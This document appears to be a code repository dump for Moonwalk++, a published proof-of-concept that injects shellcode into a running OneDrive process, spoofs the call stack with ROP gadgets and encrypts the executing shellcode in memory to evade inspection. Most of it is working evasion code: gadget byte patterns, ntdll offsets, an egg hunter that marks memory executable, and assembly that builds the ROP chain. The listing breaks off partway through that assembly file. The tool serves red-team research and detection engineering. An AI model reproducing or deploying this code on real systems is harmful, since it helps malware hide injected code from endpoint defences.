├── Moonwalk--
├── GetRsp.asm
├── include
│ ├── Test.h
│ ├── Functions.h
│ ├── Spoof.h
│ ├── asm
│ │ ├── SyntheticSpoofer.asm
│ │ └── DesyncSpoofer.asm
│ ├── Common.h
│ └── AddressHunter.h
├── Moonwalk++.vcxproj.user
├── .gitignore
├── Moonwalk++.vcxproj.filters
├── EggHunter.h
├── mooninject.asm
├── moonreflect.asm
├── Moonwalk++.vcxproj
└── Moonlight.cpp
├── LICENSE
└── README.md
/Moonwalk--/GetRsp.asm:
--------------------------------------------------------------------------------
1 | .code
2 |
3 | get_current_rsp proc
4 | mov rax, rsp
5 | add rax, 8
6 | ret
7 | get_current_rsp endp
8 |
9 | end
--------------------------------------------------------------------------------
/Moonwalk--/include/Test.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "Windows.h"
3 |
4 | void TestLocateFunctionByAddress();
5 | void TestLookupByFrameOffset();
6 | void TestEnumAllRT(DWORD);
7 | void Test();
--------------------------------------------------------------------------------
/Moonwalk--/Moonwalk++.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/Moonwalk--/.gitignore:
--------------------------------------------------------------------------------
1 | # Prerequisites
2 | *.d
3 |
4 | # Compiled Object files
5 | *.slo
6 | *.lo
7 | *.o
8 | *.obj
9 |
10 | # Precompiled Headers
11 | *.gch
12 | *.pch
13 |
14 | # Compiled Dynamic libraries
15 | *.so
16 | *.dylib
17 | *.dll
18 |
19 | # Fortran module files
20 | *.mod
21 | *.smod
22 |
23 | # Compiled Static libraries
24 | *.lai
25 | *.la
26 | *.a
27 | *.lib
28 |
29 | # Executables
30 | *.exe
31 | *.out
32 | *.app
33 |
34 | # Visual Studio Dir
35 | x64
36 | .vs
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | BSD 3-Clause License
2 |
3 | Copyright (c) 2022, Alessandro Magnosi, Arash Parsa, Athanasios Tserpelis
4 |
5 | Redistribution and use in source and binary forms, with or without
6 | modification, are permitted provided that the following conditions are met:
7 |
8 | 1. Redistributions of source code must retain the above copyright notice, this
9 | list of conditions and the following disclaimer.
10 |
11 | 2. Redistributions in binary form must reproduce the above copyright notice,
12 | this list of conditions and the following disclaimer in the documentation
13 | and/or other materials provided with the distribution.
14 |
15 | 3. Neither the name of the copyright holder nor the names of its
16 | contributors may be used to endorse or promote products derived from
17 | this software without specific prior written permission.
18 |
19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
20 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
21 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
22 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
23 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
24 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
25 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
26 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
27 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
28 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
--------------------------------------------------------------------------------
/Moonwalk--/Moonwalk++.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
23 |
24 | Header Files
25 |
26 |
27 | Header Files
28 |
29 |
30 | Header Files
31 |
32 |
33 | Header Files
34 |
35 |
36 | Header Files
37 |
38 |
39 |
40 |
41 | Source Files
42 |
43 |
44 | Source Files
45 |
46 |
47 | Source Files
48 |
49 |
50 |
--------------------------------------------------------------------------------
/Moonwalk--/include/Functions.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "Windows.h"
3 |
4 | #ifdef _DEBUG
5 | #define DPRINTUNWINDCODE(x) { \
6 | printf("0x%x\t", x->CodeOffset); \
7 | printf("0x%x\t", x->OpInfo); \
8 | printf("0x%x\n", x->UnwindOp); \
9 | }
10 |
11 | #else
12 | #define DPRINTUNWINDCODE(x) {}
13 | #endif
14 | #ifdef _DEBUG
15 | #ifdef _VERBOSE_DEBUG
16 | #define DPRINTCTX(x) { \
17 | printf("RAX: 0x%llx -", x.Rax); \
18 | printf("RBX :0x%llx -", x.Rbx); \
19 | printf("RCX: 0x%llx -", x.Rcx); \
20 | printf("RDX: 0x%llx -", x.Rdx); \
21 | printf("RDI: 0x%llx -", x.Rdi); \
22 | printf("RSI: 0x%llx -", x.Rsi); \
23 | printf("RBP: 0x%llx -", x.Rbp); \
24 | printf("RSP: 0x%llx -\n", x.Rsp); \
25 | printf("R8 : 0x%llx -", x.R8 ); \
26 | printf("R9 : 0x%llx -", x.R9 ); \
27 | printf("R10: 0x%llx -", x.R10); \
28 | printf("R11: 0x%llx -", x.R11); \
29 | printf("R12: 0x%llx -", x.R12); \
30 | printf("R13: 0x%llx -", x.R13); \
31 | printf("R14: 0x%llx -", x.R14); \
32 | printf("R15: 0x%llx \n", x.R15); \
33 | printf("RIP: 0x%llx \n", x.Rip); \
34 | }
35 | #else
36 | #define DPRINTCTX(x) {}
37 | #endif
38 | #else
39 | #define DPRINTCTX(x) {}
40 | #endif
41 |
42 | PIMAGE_RUNTIME_FUNCTION_ENTRY RTFindFunctionByAddress(UINT64, DWORD64);
43 | PIMAGE_RUNTIME_FUNCTION_ENTRY RTFindFunctionByAddressInTable(PRUNTIME_FUNCTION pRuntimeFunctionTable, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, DWORD64 functionOffset);
44 | PIMAGE_RUNTIME_FUNCTION_ENTRY RTFindFunctionByAddressInRFTable(PRUNTIME_FUNCTION pRuntimeFunctionTable, DWORD rtLastIndex, DWORD64 functionOffset);
45 | PIMAGE_RUNTIME_FUNCTION_ENTRY RTFindFunctionByIndex(UINT64, DWORD);
46 | DWORD GetStackFrameSize(HMODULE, PVOID, DWORD*);
47 | DWORD GetStackFrameSizeWhereRbpIsPushedOnStack(HMODULE, PVOID, DWORD*);
48 | DWORD GetStackFrameSizeIgnoringUwopSetFpreg(HMODULE, PVOID, DWORD*);
49 | void PrintUnwindInfo(HMODULE, PVOID);
50 | void LookupSymbolFromRTIndex(HMODULE, int, bool);
51 | void EnumAllRTFunctions(HMODULE);
52 | DWORD FindRTFunctionsUnwind(HMODULE, PVOID);
53 | BOOL SearchFrameWithinModule(DLL current, PERF* pCurrentFrameFunction, UINT64 puCalledFunctionAddress, DWORD gadgetType);
54 |
55 |
56 | VOID FindGadget(HMODULE moduleBase, PERF pRuntimeFunctionTable, DWORD rtLastIndex, PDWORD stackSize, PDWORD prtSaveIndex, PDWORD skip, DWORD gadgetType);
57 | DWORD FindProlog(HMODULE moduleBase, PERF pRuntimeFunctionTable, DWORD rtLastIndex, PDWORD stackSize, PDWORD prtSaveIndex, PDWORD64 rtTargetOffset);
58 | DWORD FindPushRbp(HMODULE moduleBase, PERF pRuntimeFunctionTable, DWORD rtLastIndex, PDWORD stackSize, PDWORD prtSaveIndex, PDWORD skip, PDWORD64 rtTargetOffset);
59 | DWORD FindCallInstructionOffset(uint64_t startAddress, DWORD limit);
60 |
61 | typedef int(WINAPI* getcharType)();
--------------------------------------------------------------------------------
/Moonwalk--/EggHunter.h:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 |
6 | HMODULE GetMainModule(HANDLE hProcess)
7 | {
8 | HMODULE mainModule = NULL;
9 | HMODULE* lphModule;
10 | LPBYTE lphModuleBytes;
11 | DWORD lpcbNeeded;
12 |
13 | // First call needed to know the space (bytes) required to store the modules' handles
14 | BOOL success = EnumProcessModules(hProcess, NULL, 0, &lpcbNeeded);
15 |
16 | // We already know that lpcbNeeded is always > 0
17 | if (!success || lpcbNeeded == 0)
18 | {
19 | printf("[-] Error enumerating process modules\n");
20 | // At this point, we already know we won't be able to dyncamically
21 | // place the syscall instruction, so we can exit
22 | exit(1);
23 | }
24 | // Once we got the number of bytes required to store all the handles for
25 | // the process' modules, we can allocate space for them
26 | lphModuleBytes = (LPBYTE)LocalAlloc(LPTR, lpcbNeeded);
27 |
28 | if (lphModuleBytes == NULL)
29 | {
30 | printf("[-] Error allocating memory to store process modules handles\n");
31 | exit(1);
32 | }
33 | unsigned int moduleCount;
34 |
35 | moduleCount = lpcbNeeded / sizeof(HMODULE);
36 | lphModule = (HMODULE*)lphModuleBytes;
37 |
38 | success = EnumProcessModules(hProcess, lphModule, lpcbNeeded, &lpcbNeeded);
39 |
40 | if (!success)
41 | {
42 | printf("[-] Error enumerating process modules\n");
43 | exit(1);
44 | }
45 |
46 | // Finally storing the main module
47 | mainModule = lphModule[0];
48 |
49 | // Avoid memory leak
50 | LocalFree(lphModuleBytes);
51 |
52 | // Return main module
53 | return mainModule;
54 | }
55 |
56 | BOOL GetMainModuleInformation(PULONG64 startAddress, PULONG64 length)
57 | {
58 | HANDLE hProcess = GetCurrentProcess();
59 | HMODULE hModule = GetMainModule(hProcess);
60 | MODULEINFO mi;
61 |
62 | GetModuleInformation(hProcess, hModule, &mi, sizeof(mi));
63 |
64 | printf("Base Address: 0x%llu\n", (ULONG64)mi.lpBaseOfDll);
65 | printf("Image Size: %u\n", (ULONG)mi.SizeOfImage);
66 | printf("Entry Point: 0x%llu\n", (ULONG64)mi.EntryPoint);
67 | printf("\n");
68 |
69 | *startAddress = (ULONG64)mi.lpBaseOfDll;
70 | *length = (ULONG64)mi.SizeOfImage;
71 |
72 | DWORD oldProtect;
73 | VirtualProtect(mi.lpBaseOfDll, mi.SizeOfImage, PAGE_EXECUTE_READWRITE, &oldProtect);
74 |
75 | return 0;
76 | }
77 |
78 | PVOID GetAddressAfterEgg(DWORD64 egg1, DWORD64 egg2)
79 | {
80 |
81 | ULONG64 startAddress = 0;
82 | ULONG64 size = 0;
83 |
84 | GetMainModuleInformation(&startAddress, &size);
85 |
86 | if (size <= 0) {
87 | printf("[-] Error detecting main module size");
88 | exit(1);
89 | }
90 |
91 | ULONG64 currentOffset = 0;
92 |
93 | printf("Starting search from: 0x%llu\n", (ULONG64)startAddress + currentOffset);
94 |
95 | while (currentOffset < size - 8)
96 | {
97 | currentOffset++;
98 | LPVOID currentAddress = (LPVOID)(startAddress + currentOffset);
99 |
100 | if (*(DWORD64*)((ULONG64)startAddress + currentOffset) == egg1 && *(DWORD64*)((ULONG64)startAddress + currentOffset + 8) == egg2)
101 | {
102 | printf("Found at %llu\n", (ULONG64)currentAddress);
103 | break;
104 | }
105 |
106 | }
107 | printf("Ended search at: 0x%llu\n", (ULONG64)startAddress + currentOffset);
108 | return (PVOID)((ULONG64)startAddress + currentOffset + 0x10);
109 | }
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Moonwalk++
2 |
3 | PoC Implementation combining Stack Moonwalking and Memory Encryption.
4 |
5 | ## TL;DR
6 |
7 | Moonwalk++ is a PoC implementation of an enahnced version of [StackMoonwalk](https://github.com/klezVirus/SilentMoonwalk), which combines its original technique to remove the caller from the call stack, with a memory self-encryption routine, using ROP to both desynchronize unwinding from control flow and simultaneously encrypt the executing shellcode to hide it from inpection.
8 |
9 | **Read more in the Blog Post:** [Malware Just Got Its Free Passes Back!](https://klezvirus.github.io/posts/Moonwalk-plus-plus/).
10 |
11 | ## Is it Moonwalk++? (or minus minus --?)
12 |
13 | GitHub will not allow the name to contain `+`, so well, it is named `--` but should have been `++`. Give or take, who cares?
14 |
15 | ## Overview
16 |
17 | This repository demonstrates a PoC implementation to spoof the call stack when calling arbitrary Windows APIs, while simultanously encrypt the executing shellcode.
18 |
19 | An extensive overview of the technique and why it was developed can be read [here](https://klezvirus.github.io/posts/Moonwalk-plus-plus/).
20 |
21 | This POC was made to work ONLY when injecting to `OneDrive.exe`. As such, in order to replicate its behaviour, you would need to ensure OneDrive is installed and running. Afterwards, retrieve one of the PID the program instantiates:
22 |
23 | ```powershell
24 | (Get-Process OneDrive) | ForEach-Object {Write-Host $_.Id}
25 | ```
26 |
27 | And provide the tool with one of them:
28 |
29 | ```bash
30 | Moonwalk++
31 | ```
32 |
33 | ### Injection
34 |
35 | The POC is expecting a PID of `OneDrive.exe` to be provided as a CLI argument. The first frame is selected from the `OneDrive.exe` executable loaded from a well-defined location (i.e. `C:\Program Files\Microsoft OneDrive\OneDrive.exe`)
36 |
37 | ### OPSEC.. what?
38 |
39 | This proof of concept has minimal operational security and is intentionally rough. Its primary purpose is to substantiate the theoretical claims discussed in the blog post [Malware Just Got Its Free Passes Back!](https://klezvirus.github.io/posts/Moonwalk-plus-plus/).
40 |
41 | ## Execute
42 |
43 | Careful when testing! The Loader will cause OneDrive to pop a MessageBox, but the popup may not be visible immediately, and if you keep going with the loader BEFORE cliclicking on the "OK" button of MessageBox, it will crash the process! The correct execution order is:
44 |
45 | 1. Execute moonwalk (print first messages)
46 | 2. Check that all the gadgets have been correctly identified
47 | 3. Press Enter to Execute once
48 | 4. At this stage, an Icon in the TaskBar (OneDrive Directory) should have apepared, click on it, it will reveal the MessageBox popup
49 | 5. Click OK on the MessageBox so the Thread can return and execute the appropriate decryption chains
50 | 6. Now go back to the Moonwalk console and you can repeat the process
51 |
52 | ## Build
53 |
54 | In order to build the POC and observe a similar behaviour to the one in the picture, ensure to:
55 |
56 | * Disable GS (`/GS-`)
57 | * Disable Code Optimisation (`/Od`)
58 | * Disable Whole Program Optimisation (Remove `/GL`)
59 | * Disable size and speed preference (Remove `/Os`, `/Ot`)
60 | * **Enable** intrinsic if not enabled (`/Oi`)
61 |
62 | ## Previous Work and Credits
63 |
64 | Check [SilentMoowalk#PreviousWork](https://github.com/klezVirus/SilentMoonwalk?tab=readme-ov-file#previous-work).
65 |
66 | ## Technical Notes (17/12/2025)
67 |
68 | * For this specific POC, I used some very, very specific gadget `wininet.dll` to bypass Eclipse. This gadget is not found in all builds and is version dependent. I extended the check to ensure that if there is a compatible gadget is going to be used.
69 | * In a similar way, the Big Stack Pivot gadget in KernelBase `ADD RSP, 0x1538`had a similar limitation. To make this more stable I updated the POC to dynamically search a general BIG pattern in multiple DLLs and dynamically extract the size. Any size bigger than 0x500 bytes is considered fine by the POC.
70 | * Another bug I was notified about pertained to the `SetThreadContext` API. On certain machines, I had to use a non-volatile register to pass the references to the SPOOFER configuration while hijacking the thread context.
71 |
72 | Big thanks to [Samir Bousseaden](https://x.com/SBousseaden) for notifing the issues!
73 |
74 | ## Additional Notes
75 |
76 | * This POC was made only to support and proof the feasibility to combine Stack Moonwalk and Memory Encryption. As the previous POC (SilentMoonwalk), it is not production ready and needs a lot of testing before integrating into C2 frameworks or similar. Use at your own risk.
77 | * I'm not planning extensions for this technique, at least for now.
78 |
--------------------------------------------------------------------------------
/Moonwalk--/include/Spoof.h:
--------------------------------------------------------------------------------
1 | #include "Common.h"
2 |
3 | #define JMP_PTR_RBX 9215 // 0xff 0x23 --> reversed 0x23 0xff --> to Integer 9215
4 | #define JMP_RBX 0xe3ff // 0xff 0x23 --> reversed 0x23 0xff --> to Integer 9215
5 | #define JMP_RBP 0x000065ff // 3 bytes, appended 0 for DWORD , needs shifting on compare
6 | #define JMP_RDI 0x27ff // 0xff 0x27 --> reversed 0x23 0xff --> to Integer 9215
7 | #define JMP_RSI 0x26ff // 0xff 0x26 --> reversed 0x23 0xff --> to Integer 9215
8 | #define JMP_R12 0x2424ff41 // 0xff 0x23 --> reversed 0x23 0xff --> to Integer 9215
9 | #define JMP_R13 0x0065ff41 // 0xff 0x23 --> reversed 0x23 0xff --> to Integer 9215
10 | #define JMP_R14 0x0026ff41 // 0xff 0x23 --> reversed 0x23 0xff --> to Integer 9215
11 | #define JMP_R15 0x0027ff41 // 0xff 0x23 --> reversed 0x23 0xff --> to Integer 9215
12 | #define ADD_RSP_0x38 952402760 // 4883C438 --> reversed 38C48348 --> to Integer 952402760
13 | #define ADD_RSP_0x28 0xccccc328c4834840 // \x40\x48\x83\xc4\x28\xc3 --> to Integer 952402760
14 | #define RET 0xc3 // One byte, no conversion needed
15 | #define ADD_RSP_0x80 2160361800 // 4881C480 + 000000C3 --> reversed 80C48148 and C3000000 --> to Integer 2160361800 and 3271557120
16 | #define RET_ 0xc300000 // 4 bytes, RET + 3 bytes of ADD_RSP_0x80
17 | #define CALL_NEAR 0xe8 // 1 bytes, 0xe8 + 4 bytes offset
18 | #define CALL_NEAR_QPTR 0xff15 // 2 bytes, 0xff 0x15 -> reversed + 4 bytes offset
19 | #define CALL_FAR_QPTR 0x0015ff48 // 3 bytes, appended 0 for DWORD , needs shifting on compare - 0x48 0xff 0x15 -> reversed + 4 bytes offset
20 | #define XCHG_RAX_R8 0xc30000007fb89049 // 8 bytes -> reversed
21 | #define POP_RAX 0x58 // 8 bytes -> reversed
22 | #define POP_RCX 0x59 // 8 bytes -> reversed
23 | #define POP_RDX 0x5a // 8 bytes -> reversed
24 | #define PUSH_RBX 0xc353 // 8 bytes -> reversed
25 |
26 | #define POP_RDX_OFFSET 0x01f9a // ntdll + offset
27 | #define POP_RCX_R8_R9_R10_R11_OFFSET 0x8e9d1 // ntdll + offset
28 | #define ADD_RSP_0x28_OFFSET 0x2f88e // ntdll + offset
29 | #define MOV_RSP_R11_OFFSET 0xef01b // ntdll + offset
30 | #define SUPER_ADD_RSP_GADGET_OFFSET 0x8635b // kernelbase + offset
31 |
32 |
33 | typedef struct
34 | {
35 |
36 | /* POINTERS */
37 |
38 | // 0x00
39 | PVOID CodeBaseAddress;
40 | PVOID SystemFunction032Address;
41 | // 0x10
42 | PVOID VirtualProtectAddress;
43 | PVOID OldProtection;
44 | // 0x20
45 | PVOID PopRdxGadget;
46 | PVOID PopRegsGadget;
47 | // 0x30
48 | PVOID AddRsp28Gadget;
49 | PVOID MovRspR11Gadget;
50 | // 0x40
51 | PVOID FirstFrameFunctionPointer;
52 | PVOID SecondFrameFunctionPointer;
53 | // 0x50
54 | PVOID JmpRbxGadget;
55 | PVOID AddRspXGadget;
56 | // 0x60
57 | /* SIZES / OFFSETS */
58 | UINT64 CodeBaseSize;
59 |
60 | UINT64 FirstFrameSize;
61 | // 0x70
62 | UINT64 FirstFrameRandomOffset;
63 | UINT64 SecondFrameSize;
64 | // 0x80
65 | UINT64 SecondFrameRandomOffset;
66 |
67 | UINT64 JmpRbxGadgetFrameSize;
68 | // 0x90
69 | UINT64 AddRspXGadgetFrameSize;
70 |
71 | PVOID KeyStructPointer;
72 | // 0xA0
73 | PVOID DataStructPointer;
74 |
75 | /* FRAME OFFSET */
76 | UINT64 StackOffsetWhereRbpIsPushed;
77 | // 0xB0
78 |
79 | /* OTHERS */
80 | PVOID JmpRbxGadgetRef;
81 | PVOID SpoofFunctionPointer;
82 | // 0xC0
83 | PVOID ReturnAddress;
84 |
85 | /* SPOOFED FOUNCTION NUMBER OF PARAMETERS */
86 | UINT64 Nargs;
87 | /* SPOOFED FOUNCTION PARAMETERS */
88 | PVOID Arg01;
89 | PVOID Arg02;
90 | PVOID Arg03;
91 | PVOID Arg04;
92 | PVOID Args[20];
93 |
94 | // 0x190
95 | PVOID SuperAddRspGadget;
96 | UINT64 SuperAddRspGadgetSize;
97 | // 0x1A0
98 | UINT64 TotalStackSize;
99 | PVOID RetGadget;
100 |
101 | // 0x1B0
102 | UCHAR Key[40];
103 | // 1D8
104 | USTRING KeyStruct;
105 | // 1F8
106 | USTRING DataStruct;
107 |
108 | CHAR Title[40];
109 | CHAR Message[40];
110 |
111 |
112 | } SPOOFER, * PSPOOFER;
113 |
114 | VOID PrintConfig(PSPOOFER sConfig) {
115 |
116 | printf("[CodeBaseAddress] - 0x%I64x\n", sConfig->CodeBaseAddress);
117 | printf("[SystemFunction032Address] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x8));
118 | printf("[VirtualProtectAddress] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x10));
119 | printf("[OldProtection] - 0x%I64x\n", sConfig->OldProtection);
120 | printf("[PopRdxGadget] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x20));
121 | printf("[PopRegsGadget] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x28));
122 | printf("[AddRsp28Gadget] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x30));
123 | printf("[MovRspR11Gadget] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x38));
124 | printf("[FirstFrameFunctionPointer] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x40));
125 | printf("[SecondFrameFunctionPointer] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x48));
126 | printf("[JmpRbxGadget] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x50));
127 | printf("[AddRspXGadget] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x58));
128 | printf("[CodeBaseSize] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x60));
129 | printf("[FirstFrameSize] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x68));
130 | printf("[FirstFrameRandomOffset] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x70));
131 | printf("[SecondFrameSize] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x78));
132 | printf("[SecondFrameRandomOffset] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x80));
133 | printf("[JmpRbxGadgetFrameSize] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x88));
134 | printf("[AddRspXGadgetFrameSize] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x90));
135 | printf("[KeyStructPointer] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x98));
136 | printf("[DataStructPointer] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0xa0));
137 | printf("[StackOffsetWhereRbpIsPushed] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0xa8));
138 | printf("[JmpRbxGadgetRef] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0xb0));
139 | printf("[SpoofFunctionPointer] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0xb8));
140 | printf("[ReturnAddress] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0xc0));
141 |
142 | printf("[Nargs] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0xc8));
143 | printf("[Arg01] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0xd0));
144 | printf("[Arg02] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0xd8));
145 | printf("[Arg03] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0xe0));
146 | printf("[Arg04] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0xe8));
147 |
148 | for (int i = 0; i < 20; i++){
149 | printf("[Arg%02d] - 0x%I64x\n", i, *(UINT64*)((CHAR*)sConfig + 0xf0 + (i * 8)));
150 | }
151 |
152 | printf("[SuperAddRspGadget] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x190));
153 | printf("[SuperAddRspGadgetSize] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x198));
154 | printf("[TotalStackSize] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x1A0));
155 | printf("[RetGadget] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x1A8));
156 | printf("[Key[40]] - %s\n", (UINT64)sConfig + 0x1B0);
157 |
158 | printf("[KeyStruct] - 0x%04x, 0x%04x, 0x%I64x\n", sConfig->KeyStruct.Length, sConfig->KeyStruct.MaximumLength, sConfig->KeyStruct.Buffer);
159 | printf("[DataStruct] - 0x%04x, 0x%04x, 0x%I64x\n", sConfig->DataStruct.Length, sConfig->DataStruct.MaximumLength, sConfig->DataStruct.Buffer);
160 |
161 | printf("[Title[40]] - %s\n", (UINT64)sConfig + 0x1F8);
162 | printf("[Message[40]] - %s\n", (UINT64)sConfig + 0x220);
163 |
164 | }
165 |
166 |
167 | VOID SpoofCallStack(PSPOOFER);
168 | EXTERN_C PVOID spoof_call(PSPOOFER sConfig);
169 | EXTERN_C PVOID get_current_rsp();
170 |
171 | void research_main();
172 | void main_main();
173 |
174 | DWORD _Hton(DWORD value)
175 | {
176 | PUCHAR s = (PUCHAR)&value;
177 | return (DWORD)(s[0] << 24 | s[1] << 16 | s[2] << 8 | s[3]);
178 |
179 | }
--------------------------------------------------------------------------------
/Moonwalk--/mooninject.asm:
--------------------------------------------------------------------------------
1 | ; ------------------------------------------------------------------------------------
2 | ;
3 | ; Author : klezVirus 2023
4 | ; Twitter : https://twitter.com/klezVirus
5 | ; ------------------------------------------------------------------------------------
6 | ; ------------------------------------------------------------------------------------
7 |
8 | spoof_call proto
9 | restore proto
10 |
11 | .code
12 |
13 | spoof_call proc
14 | ; ------------------------------------------------------------------------------------
15 | ; Saving non-vol registers
16 | ; ------------------------------------------------------------------------------------
17 | ; int 3
18 | mov rax, rsp
19 | mov [rsp+08h], rbp
20 | mov [rsp+10h], rbx
21 | mov rcx, r15
22 | mov r11, rcx
23 | xor r15, r15
24 |
25 | mov [rcx+0C0h], rax
26 | ; ------------------------------------------------------------------------------------
27 | ; Creating a stack reference to the JMP RBX gadget
28 | ; ------------------------------------------------------------------------------------
29 | mov rbx, [rcx+050h]
30 | mov [rsp+18h], rbx
31 | mov rbx, rsp
32 | add rbx, 18h
33 | mov [rcx+0b0h], rbx
34 | ; ------------------------------------------------------------------------------------
35 | ; Prolog
36 | ; RBP -> Keeps track of original Stack
37 | ; RSP -> Desync Stack for Unwinding Info
38 | ; ------------------------------------------------------------------------------------
39 | ; Note: Everything between RSP and RBP is our new stack frame for unwinding
40 | ; ------------------------------------------------------------------------------------
41 | mov rbp, rsp
42 | ; ------------------------------------------------------------------------------------
43 | ; Creating Restore Rop Chain
44 | ; ------------------------------------------------------------------------------------
45 |
46 | ; int 3
47 | push rbp
48 | push r12
49 | push r13
50 | push r14
51 | push r15
52 | push [r11+038h]
53 |
54 | mov rbp, rsp
55 | add rbp, 8
56 | push rbp
57 | sub rbp, 8
58 | push r10
59 | push r9
60 | push r8
61 | push rcx
62 | push [r11+028h]
63 |
64 | push rdx
65 | push [r11+020h]
66 | sub rsp, 028h
67 | push [r11+030h]
68 | sub rsp, 028h
69 | push [r11+030h]
70 |
71 | ; Virtual Protect
72 | push [r11+010h]
73 | push 1 ; r11
74 | push 1 ; r10
75 | push [r11+018h] ; r9
76 | push 020h ; r8
77 | push [r11+00h] ; rcx
78 | push [r11+028h]
79 | push [r11+060h] ; rdx
80 | push [r11+020h]
81 | sub rsp, 028h
82 | push [r11+030h]
83 | ; SystemFunction032
84 | push [r11+08h]
85 | push 1 ; r11
86 | push 1 ; r10
87 | push 1 ; r9
88 | push 1 ; r8
89 | push qword ptr [r11+0a0h]
90 | push qword ptr [r11+028h]
91 | push qword ptr [r11+098h]
92 | push qword ptr [r11+020h]
93 |
94 | sub rsp, 028h
95 | push [r11+030h]
96 | ; Virtual Protect
97 | push [r11+010h]
98 | push 1 ; r11
99 | push 1 ; r10
100 | push [r11+018h] ; r9
101 | push 040h ; r8
102 | push [r11+00h] ; rcx
103 | push [r11+028h]
104 | push [r11+060h] ; rdx
105 | push [r11+020h]
106 |
107 | ; Now RBX contains the stack pointer to Restore ROP CHAIN on the stack
108 | ; -> Will be called by the push RBX; ret gadget
109 |
110 | mov rbx, [rcx+198h]
111 | sub rbx, [rcx+1A0h]
112 |
113 | _check_space:
114 | test rbx, rbx
115 | jnz _allocate_ret
116 | jmp _allocated_ret
117 |
118 | _allocate_ret:
119 | push [rcx+1A8h]
120 | sub rbx, 8
121 | jmp _check_space
122 |
123 | _allocated_ret:
124 | push [rcx+190h]
125 | mov rbx, [rsp]
126 |
127 | ; ------------------------------------------------------------------------------------
128 | ; Starting Frames Tampering
129 | ; ------------------------------------------------------------------------------------
130 | ; First Frame (SET_FPREG frame)
131 | ; ------------------------------------------------------------------------------------
132 | ; int 3
133 | mov rax, gs:[60h] ; RAX = pointer to PEB
134 | mov rax, [rax + 10h] ; RAX = ImageBaseAddress
135 | add rax, qword ptr [rcx+040h]
136 | push rax
137 | xor rax, rax
138 | mov rax, [rcx+070h]
139 | add qword ptr [rsp], rax
140 |
141 | mov rax, [rcx+0c0h]
142 | sub rax, [rcx+068h]
143 |
144 | sub rsp, [rcx+078h]
145 | mov r10, [rcx+0a8h]
146 | mov [rsp+r10], rax
147 | ; ------------------------------------------------------------------------------------
148 | ; Second Frame (PUSH_NONVOL RBP)
149 | ; ------------------------------------------------------------------------------------
150 | push [rcx+048h]
151 | mov rax, [rcx+080h]
152 | add qword ptr [rsp], rax
153 | ; ------------------------------------------------------------------------------------
154 | ; ROP Frames
